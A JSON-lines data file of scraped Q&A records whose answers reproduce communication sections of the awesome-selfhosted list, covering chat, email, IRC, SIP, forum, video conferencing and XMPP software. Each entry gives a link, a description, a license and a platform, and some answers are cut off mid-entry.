{"id": "gh_9991728fed69", "question": "How to: Communication - Custom Communication Systems", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Communication software](https://en.wikipedia.org/wiki/Communication_software) used to provide remote access to systems and exchange files and messages in text, audio and/or video formats between different computers or users, using their own custom protocols.\n\n- [AnyCable](https://anycable.io/) - Realtime server for reliable two-way communication over WebSockets, Server-sent events, etc. ([Demo](https://demo.anycable.io), [Source Code](https://github.com/anycable/anycable)) `MIT` `Go/Docker`\n- [Apprise](https://github.com/caronc/apprise) - Apprise allows you to send a notification to almost all of the most popular notification services available to us today such as: Telegram, Discord, Slack, Amazon SNS, Gotify, etc. `MIT` `Python/Docker/deb`\n- [Centrifugo](https://centrifugal.dev/) - Language-agnostic real-time messaging (Websocket or SockJS) server. ([Demo](https://github.com/centrifugal/centrifugo#demo), [Source Code](https://github.com/centrifugal/centrifugo)) `MIT` `Go/Docker/K8S`\n- [Chitchatter](https://chitchatter.im/) - Peer-to-peer chat app that is serverless, decentralized, and ephemeral. ([Source Code](https://github.com/jeremyckahn/chitchatter)) `GPL-2.0` `Nodejs`\n- [Conduit](https://conduit.rs/) - A simple, fast, and reliable chat server powered by Matrix. ([Source Code](https://gitlab.com/famedly/conduit)) `Apache-2.0` `Rust`\n- [Databag](https://github.com/balzack/databag) - Federated, end-to-end encrypted messaging service for the web, iOS, and Android, supporting text, photos, video, and WebRTC video and audio calls. ([Demo](https://databag.coredb.org/#/create)) `Apache-2.0` `Docker`\n- [Element](https://element.io) - Fully-featured Matrix client for Web, iOS & Android. ([Source Code](https://github.com/element-hq/element-web)) `Apache-2.0` `Nodejs`\n- [GlobaLeaks](https://www.globaleaks.org/) - Whistleblowing software enabling anyone to easily set up and maintain a secure reporting platform. ([Demo](https://demo.globaleaks.org), [Source Code](https://github.com/globaleaks/globaleaks-whistleblowing-software)) `AGPL-3.0` `Python/deb/Docker`\n- [GNUnet](https://gnunet.org/) - Software framework for decentralized, peer-to-peer networking. ([Source Code](https://gnunet.org/git/)) `GPL-3.0` `C`\n- [Gotify](https://gotify.net/) - Notification server with Android and CLI clients (alternative to PushBullet). ([Source Code](https://github.com/gotify/server), [Clients](https://github.com/gotify/android)) `MIT` `Go/Docker`\n- [Hyphanet](https://hyphanet.org/) - Anonymously share files, browse and publish _freesites_ (web sites accessible only through Hyphanet) and chat on forums. ([Source Code](https://github.com/hyphanet/fred)) `GPL-2.0` `Java`\n- [Jami](https://jami.net/) - Universal communication platform which preserves the user's privacy and freedoms. ([Source Code](https://git.jami.net/savoirfairelinux?sort=latest_activity_desc&filter=jami)) `GPL-3.0` `C++`\n- [Live Helper Chat](https://livehelperchat.com/) - Live Support chat for your website. ([Source Code](https://github.com/LiveHelperChat/livehelperchat)) `Apache-2.0` `PHP`\n- [Mattermost](https://mattermost.com/) - Platform for secure collaboration across the entire software development lifecycle, can be integrated with Gitlab (alternative to Slack). ([Source Code](https://github.com/mattermost/mattermost)) `AGPL-3.0/Apache-2.0` `Go/Docker/K8S`\n- [Mumble](https://wiki.mumble.info/wiki/Main_Page) - Low-latency, high quality voice/text chat software. ([Source Code](https://github.com/mumble-voip/mumble), [Clients](https://wiki.mumble.info/wiki/3rd_Party_Applications)) `BSD-3-Clause` `C++/deb`\n- [Notifo](https://github.com/notifo-io/notifo) - Multichannel notification server with support for Email, Mobile Push, Web Push, SMS, messaging and a javascript plugin. `MIT` `C#`\n- [Novu](https://novu.co/) - Notification infrastructure for developers. ([Source Code](https://github.com/novuhq/novu/)) `MIT` `Docker/Nodejs`\n- [ntfy](https://ntfy.sh/) - Push notifications to phone or desktop using HTTP PUT/POST, with Android app, CLI and web app, similar to Pushover and Gotify. ([Demo](https://ntfy.sh/app), [Source Code](https://github.com/binwiederhier/ntfy), [Clients](https://github.com/binwiederhier/ntfy-android)) `Apache-2.0/GPL-2.0` `Go/Docker/K8S`\n- [One Time Secret](https://docs.onetimesecret.com) - Share sensitive information securely with self-destructing links that are only viewable once. ([Demo](https://onetimesecret.com), [Source Code](https://github.com/onetimesecret/onetimesecret)) `MIT` `Docker/Ruby/Nodejs`\n- [OTS](https://ots.fyi/) - One-Time-Secret sharing platform with a symmetric 256bit AES encryption in the browser. ([Source Code](https://github.com/Luzifer/ots)) `Apache-2.0` `Go`\n- [PushBits](https://github.com/pushbits/server) - Notification server for relaying push notifications via Matrix, similar to PushBullet and Gotify. `ISC` `Go`\n- [RetroShare](https://retroshare.cc) - Secured an", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556989"}
{"id": "gh_dd216d79bed0", "question": "How to: Communication - Email - Complete Solutions", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\nSimple deployment of [E-mail](https://en.wikipedia.org/wiki/Email) servers, e.g. for inexperienced or impatient admins.\n\n- [AnonAddy](https://anonaddy.com) - Email forwarding service for creating aliases. ([Source Code](https://github.com/anonaddy/anonaddy)) `MIT` `PHP/Docker`\n- [b1gMail](https://www.b1gmail.eu) - Complete email solution that runs on any webspace with PHP and MariaDB. It supports POP3 catchall mailboxes and can also integrate with Postfix or b1gMailServer if you're running your own server. ([Source Code](https://codeberg.org/b1gMail/b1gMail), [Clients](https://www.b1gmail.eu/en/start/addon-b1gmailserver/)) `GPL-2.0` `PHP`\n- [DebOps](https://docs.debops.org/) - Your Debian-based data center in a box. A set of general-purpose Ansible roles that can be used to manage Debian or Ubuntu hosts. ([Source Code](https://github.com/debops/debops)) `GPL-3.0` `Ansible/Python`\n- [docker-mailserver](https://docker-mailserver.github.io/docker-mailserver/edge/) - Production-ready fullstack but simple mail server (SMTP, IMAP, LDAP, Antispam, Antivirus, etc.) running inside a container. Only configuration files, no SQL database. ([Source Code](https://github.com/docker-mailserver/docker-mailserver)) `MIT` `Docker`\n- [Dovel](https://dovel.email) - SMTP server that sends and receives emails according to a simple configuration file, with an optional web interface that you can use to browse your emails. ([Source Code](https://dovel.email/server/tree.html)) `LGPL-3.0` `Go`\n- [emailwiz](https://github.com/LukeSmithxyz/emailwiz) - Luke Smith's bash script to completely automate the setup of a Postfix/Dovecot/SpamAssassin/OpenDKIM server on debian. `GPL-3.0` `Shell`\n- [Inboxen](https://inboxen.org) - Lets you have an infinite number of unique inboxes. ([Source Code](https://codeberg.org/Inboxen/Inboxen)) `GPL-3.0` `Python`\n- [iRedMail](https://www.iredmail.org/) - Full-featured mail server solution based on Postfix and Dovecot. ([Source Code](https://github.com/iredmail/iRedMail)) `GPL-3.0` `Shell`\n- [Maddy Mail Server](https://maddy.email/) - All-in-one mail server that implements SMTP (both MTA and MX) and IMAP. Replaces Postfix, Dovecot, OpenDKIM, OpenSPF, OpenDMARC with single daemon. ([Source Code](https://github.com/foxcpp/maddy)) `GPL-3.0` `Go`\n- [Mail-in-a-Box](https://mailinabox.email/) - Turns any Ubuntu server into a fully functional mail server with one command. ([Source Code](https://github.com/mail-in-a-box/mailinabox)) `CC0-1.0` `Shell`\n- [Mailcow](https://mailcow.email/) - Mail server suite based on Dovecot, Postfix and other open source software, that provides a modern Web UI for administration. ([Source Code](https://github.com/mailcow/mailcow-dockerized)) `GPL-3.0` `Docker/PHP`\n- [Mailu](https://mailu.io/) - Simple yet full-featured mail server as a set of Docker images. ([Source Code](https://github.com/Mailu/Mailu)) `MIT` `Docker/Python`\n- [Modoboa](https://modoboa.org/en/) - Mail hosting and management platform including a modern and simplified web user interface. ([Source Code](https://github.com/modoboa/modoboa)) `ISC` `Python`\n- [Mox](https://www.xmox.nl/) - Complete e-mail solution with IMAP4, SMTP, SPF, DKIM, DMARC, MTA-STS, DANE and DNSSEC, reputation-based and content-based junk filtering, Internationalization (IDNA), automatic TLS with ACME and Let's Encrypt, account autoconfiguration, and webmail. ([Source Code](https://github.com/mjl-/mox)) `MIT` `Go`\n- [Postal](https://docs.postalserver.io/) - Complete and fully featured mail server for use by websites & web servers. ([Source Code](https://github.com/postalserver/postal)) `MIT` `Docker/Ruby`\n- [Simple NixOS Mailserver](https://gitlab.com/simple-nixos-mailserver/nixos-mailserver) - Complete mailserver solution leveraging the Nix Ecosystem. `GPL-3.0` `Nix`\n- [SimpleLogin](https://simplelogin.io) - Open source email alias solution to protect your email address. Comes with browser extensions and mobile apps. ([Source Code](https://github.com/simple-login/app)) `MIT` `Docker/Python`\n- [Stalwart Mail Server](https://stalw.art) - All-in-one mail server with JMAP, IMAP4, and SMTP support and a wide range of modern features. ([Source Code](https://github.com/stalwartlabs/stalwart)) `AGPL-3.0` `Rust/Docker`\n- [wildduck](https://wildduck.email/) - Scalable no-SPOF IMAP/POP3 mail server. ([Source Code](https://github.com/zone-eu/wildduck)) `EUPL-1.2` `Nodejs/Docker`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.556999"}
{"id": "gh_533101e35141", "question": "How to: Communication - Email - Mail Delivery Agents", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Mail Delivery Agents](https://en.wikipedia.org/wiki/Message_delivery_agent) (MDAs) - [IMAP](https://en.wikipedia.org/wiki/Internet_Message_Access_Protocol)/[POP3](https://en.wikipedia.org/wiki/Post_Office_Protocol) server software.\n\n- [Cyrus IMAP](https://www.cyrusimap.org/) - Email (IMAP/POP3), contacts and calendar server. ([Source Code](https://github.com/cyrusimap/cyrus-imapd)) `BSD-3-Clause-Attribution` `C`\n- [DavMail](https://davmail.sourceforge.net/) `⚠` - POP/IMAP/SMTP/Caldav/Carddav/LDAP exchange gateway allowing users to use any mail/calendar client with an Exchange server, even from the internet or behind a firewall through Outlook Web Access. ([Source Code](https://github.com/mguessan/davmail)) `GPL-2.0` `Java`\n- [Dovecot](https://www.dovecot.org/) - IMAP and POP3 server written primarily with security in mind. ([Source Code](https://github.com/dovecot/core)) `MIT/LGPL-2.1` `C/deb`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557006"}
{"id": "gh_fe14ffffe508", "question": "How to: Communication - Email - Mail Transfer Agents", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Mail Transfer Agents](https://en.wikipedia.org/wiki/Message_transfer_agent) (MTAs) - [SMTP](https://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol) servers.\n\n- [chasquid](https://blitiri.com.ar/p/chasquid/) - SMTP (email) server with a focus on simplicity, security, and ease of operation. ([Source Code](https://blitiri.com.ar/git/r/chasquid/)) `Apache-2.0` `Go`\n- [Courier MTA](https://www.courier-mta.org/) - Fast, scalable, enterprise mail/groupware server providing ESMTP, IMAP, POP3, webmail, mailing list, basic web-based calendaring and scheduling services. ([Source Code](https://www.courier-mta.org/repo.html)) `GPL-3.0` `C/deb`\n- [DragonFly](https://github.com/corecode/dma) - A small MTA for home and office use. Works on Linux and FreeBSD. `BSD-3-Clause` `C`\n- [EmailRelay](https://emailrelay.sourceforge.net/) - A small and easy to configure SMTP and POP3 server for Windows and Linux. ([Source Code](https://sourceforge.net/p/emailrelay/code/HEAD/tree/)) `GPL-3.0` `C++`\n- [Exim](https://www.exim.org/) - Message transfer agent (MTA) developed at the University of Cambridge. ([Source Code](https://git.exim.org/exim.git)) `GPL-3.0` `C/deb`\n- [Haraka](https://haraka.github.io/) - Fast, highly extensible, and event driven SMTP server. ([Source Code](https://github.com/haraka/Haraka)) `MIT` `Nodejs`\n- [OpenSMTPD](https://opensmtpd.org/) - Secure SMTP server implementation from the OpenBSD project. ([Source Code](https://cvsweb.openbsd.org/cgi-bin/cvsweb/src/usr.sbin/smtpd/)) `ISC` `C/deb`\n- [OpenTrashmail](https://github.com/HaschekSolutions/opentrashmail) - Complete trashmail solution that exposes an SMTP server and has a web interface to manage received emails. Works with multiple and wildcard domains and is fully file based (no database needed). Includes RSS feeds and JSON API. `Apache-2.0` `Python/PHP/Docker`\n- [Postfix](http://www.postfix.org/) - Fast, easy to administer, and secure Sendmail replacement. `IPL-1.0` `C/deb`\n- [Sendmail](https://www.proofpoint.com/us/products/email-protection/open-source-email-solution) - Message transfer agent (MTA). `Sendmail` `C/deb`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557012"}
{"id": "gh_14287f8f2618", "question": "How to: Communication - Email - Webmail Clients", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Webmail](https://en.wikipedia.org/wiki/Webmail) clients.\n\n- [Cypht](https://cypht.org) - Feed reader for your email accounts. ([Source Code](https://github.com/cypht-org/cypht)) `LGPL-2.1` `PHP`\n- [Roundcube](https://roundcube.net) - Browser-based IMAP client with an application-like user interface. ([Source Code](https://github.com/roundcube/roundcubemail)) `GPL-3.0` `PHP/deb`\n- [SnappyMail](https://snappymail.eu/) - Simple, modern, lightweight & fast web-based email client (fork of RainLoop). ([Demo](https://snappymail.eu/demo/), [Source Code](https://github.com/the-djmaze/snappymail), [Clients](https://snappymail.eu/repository/v2/plugins/)) `AGPL-3.0` `PHP`\n- [SquirrelMail](https://squirrelmail.org) - Another browser-based IMAP client. ([Source Code](https://sourceforge.net/p/squirrelmail/code/HEAD/tree/)) `GPL-2.0` `PHP`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557024"}
{"id": "gh_6713a1035f90", "question": "How to: Communication - IRC", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[IRC](https://en.wikipedia.org/wiki/Internet_Relay_Chat) communication software.\n\n- [Convos](https://convos.chat/) - Always online web IRC client. ([Demo](https://convos.chat/#instant-demo), [Source Code](https://github.com/convos-chat/convos)) `Artistic-2.0` `Perl/Docker`\n- [Ergo](https://ergo.chat/) - Modern IRCv3 server written in Go, combining the features of an ircd, a services framework, and a bouncer. ([Source Code](https://github.com/ergochat/ergo)) `MIT` `Go/Docker`\n- [Glowing Bear](https://github.com/glowing-bear/glowing-bear) - A web frontend for WeeChat. ([Demo](https://www.glowing-bear.org)) `GPL-3.0` `Nodejs`\n- [InspIRCd](https://www.inspircd.org/) - Modular IRC server written in C++ for Linux, BSD, Windows, and macOS. ([Source Code](https://github.com/inspircd/inspircd)) `GPL-2.0` `C++/Docker`\n- [Kiwi IRC](https://kiwiirc.com/) - Responsive web IRC client with theming support. ([Demo](https://kiwiirc.com/nextclient/), [Source Code](https://github.com/kiwiirc/kiwiirc)) `Apache-2.0` `Nodejs`\n- [ngircd](https://ngircd.barton.de/) - Portable and lightweight Internet Relay Chat server for small or private networks. ([Source Code](https://github.com/ngircd/ngircd)) `GPL-2.0` `C/deb`\n- [Quassel IRC](https://quassel-irc.org/) - Distributed IRC client, meaning that one (or multiple) client(s) can attach to and detach from a central core. ([Source Code](https://github.com/quassel/quassel)) `GPL-2.0` `C++`\n- [Robust IRC](https://robustirc.net/) - IRC without netsplits. Distributed IRC server, based on RobustSession protocol. ([Source Code](https://github.com/robustirc/robustirc)) `BSD-3-Clause` `Go`\n- [The Lounge](https://thelounge.chat/) - Self-hosted web IRC client. ([Demo](https://demo.thelounge.chat/), [Source Code](https://github.com/thelounge/thelounge)) `MIT` `Nodejs/Docker`\n- [UnrealIRCd](https://www.unrealircd.org/) - Modular, advanced and highly configurable IRC server written in C for Linux, BSD, Windows, and macOS. ([Source Code](https://github.com/unrealircd/unrealircd)) `GPL-2.0` `C`\n- [Weechat](https://weechat.org/) - Fast, light and extensible chat client. ([Source Code](https://github.com/weechat/weechat)) `GPL-3.0` `C/Docker/deb`\n- [ZNC](https://wiki.znc.in/ZNC) - Advanced IRC bouncer. ([Source Code](https://github.com/znc/znc)) `Apache-2.0` `C++/deb`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557031"}
{"id": "gh_96aec4dc7c1a", "question": "How to: Communication - SIP", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[SIP](https://en.wikipedia.org/wiki/Session_Initiation_Protocol)/[IPBX](https://en.wikipedia.org/wiki/IP_PBX) telephony software.\n\n- [Asterisk](https://www.asterisk.org/) - Easy to use but advanced IP PBX system, VoIP gateway and conference server. ([Source Code](https://github.com/asterisk/asterisk)) `GPL-2.0` `C/deb`\n- [Flexisip](https://www.linphone.org/en/flexisip-sip-server/) - Complete, modular and scalable SIP server, includes a push gateway, to deliver SIP incoming calls or text messages on mobile device platforms where push notifications are required to receive information when the app is not active in the foreground. ([Source Code](https://github.com/BelledonneCommunications/flexisip)) `AGPL-3.0` `C/Docker`\n- [Freepbx](https://www.freepbx.org) - Web-based open source GUI that controls and manages Asterisk. ([Source Code](https://git.freepbx.org/projects/FREEPBX)) `GPL-2.0` `PHP`\n- [FreeSWITCH](https://freeswitch.org/) - Scalable open source cross-platform telephony platform. ([Source Code](https://github.com/signalwire/freeswitch)) `MPL-2.0` `C`\n- [FusionPBX](https://www.fusionpbx.com/) - Web interface for multi-platform voice switch called FreeSWITCH. ([Source Code](https://github.com/fusionpbx/fusionpbx)) `MPL-1.1` `PHP`\n- [Kamailio](https://www.kamailio.org/w/) - Modular SIP server (registrar/proxy/router/etc). ([Source Code](https://github.com/kamailio/kamailio)) `GPL-2.0` `C/deb`\n- [openSIPS](https://opensips.org/) - SIP proxy/server for voice, video, IM, presence and any other SIP extensions. ([Source Code](https://github.com/OpenSIPS/opensips)) `GPL-2.0` `C`\n- [Routr](https://routr.io) - Lightweight SIP proxy, location server, and registrar for a reliable and scalable SIP infrastructure. ([Source Code](https://github.com/fonoster/routr)) `MIT` `Docker/K8S`\n- [SIP3](https://sip3.io/) - VoIP troubleshooting and monitoring platform. ([Demo](https://demo.sip3.io), [Source Code](https://github.com/sip3io/)) `Apache-2.0` `Java`\n- [SIPCAPTURE Homer](https://www.sipcapture.org/) - Troubleshooting and monitoring VoIP calls. ([Source Code](https://github.com/sipcapture/homer)) `AGPL-3.0` `Nodejs/Go/Docker`\n- [Wazo](https://wazo-platform.org/) - Full-featured IPBX solution built atop Asterisk with integrated Web administration interface and REST-ful API. ([Source Code](https://github.com/wazo-platform)) `GPL-3.0` `Python`\n- [Yeti-Switch](https://yeti-switch.org/) - Transit class4 softswitch(SBC) with integrated billing and routing engine and REST API. ([Demo](https://demo.yeti-switch.org/), [Source Code](https://github.com/yeti-switch)) `GPL-2.0` `C++/Ruby`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557038"}
{"id": "gh_aa1144ce311e", "question": "How to: Communication - Social Networks and Forums", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Social Networking](https://en.wikipedia.org/wiki/Social_networking_service) and [Forum](https://en.wikipedia.org/wiki/Internet_forum) software.\n\n- [Akkoma](https://akkoma.social/) - Federated microblogging server with Mastodon, GNU social, and ActivityPub compatibility. ([Source Code](https://akkoma.dev/AkkomaGang/akkoma)) `AGPL-3.0` `Elixir/Docker`\n- [Answer](https://answer.apache.org) - Knowledge-based community software. You can use it to quickly build your Q&A community for product technical support, customer support, user communication, and more. ([Source Code](https://github.com/apache/answer)) `Apache-2.0` `Docker/Go`\n- [Artalk](https://artalk.js.org/) - Comment system built in Golang, providing a lightweight and highly customizable solution for adding comments to your website. ([Source Code](https://github.com/ArtalkJS/Artalk)) `MIT` `Go/Docker`\n- [AsmBB](https://board.asm32.info) - Fast, SQLite-powered forum engine written in ASM. ([Source Code](https://asm32.info/fossil/asmbb/index)) `EUPL-1.2` `Assembly`\n- [BuddyPress](https://buddypress.org/about/) - Powerful plugin that takes your WordPress.org powered site beyond the blog with social-network features like user profiles, activity streams, user groups, and more. ([Source Code](https://github.com/buddypress/BuddyPress)) `GPL-2.0` `PHP`\n- [Chirpy](https://chirpy.dev) - Privacy-friendly and customizable Disqus (comment system) alternate. ([Demo](https://chirpy.dev/play), [Source Code](https://github.com/devrsi0n/chirpy)) `AGPL-3.0` `Docker/Nodejs`\n- [Coral](https://coralproject.net/) - A better commenting experience from Vox Media. ([Source Code](https://github.com/coralproject/talk)) `Apache-2.0` `Docker/Nodejs`\n- [diaspora*](https://diasporafoundation.org/) - Distributed social networking server. ([Source Code](https://github.com/diaspora/diaspora)) `AGPL-3.0` `Ruby`\n- [Discourse](https://www.discourse.org/) - Advanced forum / community solution based on Ruby and JS. ([Demo](https://try.discourse.org/), [Source Code](https://github.com/discourse/discourse)) `GPL-2.0` `Docker`\n- [Elgg](https://elgg.org/) - Powerful open source social networking engine. ([Source Code](https://github.com/Elgg/Elgg)) `GPL-2.0` `PHP`\n- [Enigma 1/2 BBS](https://nuskooler.github.io/enigma-bbs/) - Enigma 1/2 is a modern, multi-platform BBS engine with unlimited \"callers\" and legacy DOS door game support. ([Source Code](https://github.com/NuSkooler/enigma-bbs)) `BSD-2-Clause` `Shell/Docker/Nodejs`\n- [Flarum](https://flarum.org) - Delightfully simple forums. Flarum is the next-generation forum software that makes online discussion fun again. ([Source Code](https://github.com/flarum/flarum)) `MIT` `PHP`\n- [Friendica](https://friendi.ca/) - Social Communication Server. ([Source Code](https://github.com/friendica/friendica)) `AGPL-3.0` `PHP`\n- [GoToSocial](https://docs.gotosocial.org/en/latest/) - ActivityPub federated social network server implementing the Mastodon client API. ([Source Code](https://codeberg.org/superseriousbusiness/gotosocial)) `AGPL-3.0` `Docker/Go`\n- [Hatsu](https://hatsu.cli.rs/) - Bridge that interacts with Fediverse on behalf of your static site. ([Source Code](https://github.com/importantimport/hatsu)) `AGPL-3.0` `Docker/Rust`\n- [Hubzilla](https://hubzilla.org) - Decentralized identity, privacy, publishing, sharing, cloud storage, and communications/social platform. ([Source Code](https://framagit.org/hubzilla/core)) `MIT` `PHP`\n- [HumHub](https://www.humhub.org/) - Flexible kit for private social networks. ([Source Code](https://github.com/humhub/humhub)) `AGPL-3.0` `PHP`\n- [Iceshrimp.NET](https://iceshrimp.net) - Federated microblogging server that communicates over ActivityPub. ([Source Code](https://iceshrimp.dev/iceshrimp/iceshrimp.net)) `EUPL-1.2` `.NET/C#/Docker`\n- [Isso](https://isso-comments.de/) - Lightweight commenting server written in Python and Javascript. It aims to be a drop-in replacement for Disqus. ([Source Code](https://github.com/isso-comments/isso)) `MIT` `Python/Docker`\n- [Lemmy](https://join-lemmy.org/) - Link aggregator for the fediverse (alternative to Reddit). ([Source Code](https://github.com/LemmyNet/lemmy)) `AGPL-3.0` `Docker/Rust`\n- [Loomio](https://www.loomio.org/) - Collaborative decision-making tool that makes it easy for anyone to participate in decisions which affect them. ([Source Code](https://github.com/loomio/loomio)) `AGPL-3.0` `Docker`\n- [Mastodon](https://joinmastodon.org/) - Federated microblogging server. ([Source Code](https://github.com/mastodon/mastodon), [Clients](https://github.com/hyperupcall/awesome-mastodon)) `AGPL-3.0` `Ruby`\n- [Misago](https://misago-project.org/) - Fully featured modern forum application that is fast, scalable and responsive. ([Source Code](https://github.com/rafalp/Misago)) `GPL-2.0` `Docker`\n- [Misskey](https://misskey.io/) - Decentralized app-like microblogging server/SNS for the Fediverse, using the ActivityPub prot", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557059"}
{"id": "gh_c2ab0c50a99b", "question": "How to: Communication - Video Conferencing", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Video/Web Conferencing](https://en.wikipedia.org/wiki/Web_conferencing) tools and software.\n\n_Related: [Conference Management](#conference-management)_\n\n- [BigBlueButton](https://bigbluebutton.org/) - Supports real-time sharing of audio, video, slides (with whiteboard controls), chat, and the screen. Instructors can engage remote students with polling, emojis, and breakout rooms. ([Source Code](https://github.com/bigbluebutton/bigbluebutton)) `LGPL-3.0` `Java`\n- [Galene](https://galene.org/) - Video conferencing server that is easy to deploy and that requires moderate server resources. ([Source Code](https://github.com/jech/galene)) `MIT` `Go`\n- [Janus](https://janus.conf.meetecho.com/) - General-purpose, lightweight, minimalist WebRTC Server. ([Demo](https://janus.conf.meetecho.com/demos/), [Source Code](https://github.com/meetecho/janus-gateway)) `GPL-3.0` `C`\n- [Jitsi Meet](https://jitsi.org/Projects/JitsiMeet) - WebRTC application that uses Jitsi Videobridge to provide high quality, scalable video conferences. ([Demo](https://meet.jit.si), [Source Code](https://github.com/jitsi/jitsi-meet)) `Apache-2.0` `Nodejs/Docker/deb`\n- [Jitsi Video Bridge](https://jitsi.org/Projects/JitsiVideobridge) - WebRTC compatible Selective Forwarding Unit (SFU) that allows for multiuser video communication. ([Source Code](https://github.com/jitsi/jitsi-videobridge)) `Apache-2.0` `Java/deb`\n- [MiroTalk C2C](https://c2c.mirotalk.com) - Real-time cam-2-cam video calls & screen sharing, end-to-end encrypted, to embed in any website with a simple iframe. ([Source Code](https://github.com/miroslavpejic85/mirotalkc2c)) `AGPL-3.0` `Nodejs/Docker`\n- [MiroTalk P2P](https://p2p.mirotalk.com) - Simple, secure, fast real-time video conferences up to 4k and 60fps, compatible with all browsers and platforms. ([Demo](https://p2p.mirotalk.com/newcall), [Source Code](https://github.com/miroslavpejic85/mirotalk)) `AGPL-3.0` `Nodejs/Docker`\n- [MiroTalk SFU](https://sfu.mirotalk.com) - Simple, secure, scalable real-time video conferences up to 4k, compatible with all browsers and platforms. ([Demo](https://sfu.mirotalk.com/newroom), [Source Code](https://github.com/miroslavpejic85/mirotalksfu)) `AGPL-3.0` `Nodejs/Docker`\n- [plugNmeet](https://www.plugnmeet.org/) - Scalable and high performance web conferencing system. ([Demo](https://demo.plugnmeet.com/login.html), [Source Code](https://github.com/mynaparrot/plugNmeet-server)) `MIT` `Docker/Go`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557067"}
{"id": "gh_06aa09976f67", "question": "How to: Communication - XMPP - Servers", "question_body": "About awesome-selfhosted/awesome-selfhosted", "answer": "**[`^        back to top        ^`](#awesome-selfhosted)**\n\n[Extensible Messaging and Presence Protocol](https://en.wikipedia.org/wiki/XMPP) servers.\n\n- [ejabberd](https://www.ejabberd.im/) - XMPP instant messaging server. ([Source Code](https://github.com/processone/ejabberd)) `GPL-2.0` `Erlang/Docker`\n- [MongooseIM](https://www.erlang-solutions.com/products/mongooseim.html) - Mobile messaging platform with a focus on performance and scalability. ([Source Code](https://github.com/esl/MongooseIM)) `GPL-2.0` `Erlang/Docker/K8S`\n- [Openfire](https://www.igniterealtime.org/projects/openfire/) - Real time collaboration (RTC) server. ([Source Code](https://github.com/igniterealtime/Openfire)) `Apache-2.0` `Java`\n- [Prosody IM](https://prosody.im/) - Feature-rich and easy to configure XMPP server. ([Source Code](https://hg.prosody.im/)) `MIT` `Lua`\n- [Snikket](https://snikket.org/) - All-in-one Dockerized easy XMPP solution, including web admin and clients. ([Source Code](https://github.com/snikket-im/snikket-server), [Clients](https://snikket.org/app/)) `Apache-2.0` `Docker`\n- [Tigase](https://tigase.net/xmpp-server) - XMPP server implementation in Java. ([Source Code](https://github.com/tigase/tigase-server)) `GPL-3.0` `Java`", "tags": ["awesome-selfhosted"], "source": "github_gists", "category": "awesome-selfhosted", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 268515, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-selfhosted/awesome-selfhosted", "collected_at": "2026-01-16T23:28:49.557073"}
